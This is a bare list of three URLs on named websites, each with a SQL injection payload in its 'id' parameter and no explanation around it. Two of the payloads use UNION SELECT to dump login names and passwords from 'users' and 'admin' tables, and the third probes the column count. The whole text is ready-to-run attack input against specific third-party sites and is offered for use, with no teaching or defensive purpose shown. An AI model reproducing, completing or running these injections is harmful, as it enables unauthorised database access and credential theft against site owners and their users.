http://www.sadarvuga.com/php/project.php?id=-59+union+select+concat(username,char(58),password) +from+users+--+

http://www.velotaxi.com/php/main.php?id=1+union+select+1,2,3+--+

http://www.marqueesole.com/php/client/product.php?id=-319+union+select+concat(login,char(58),passwd)%20+ from+admin+--+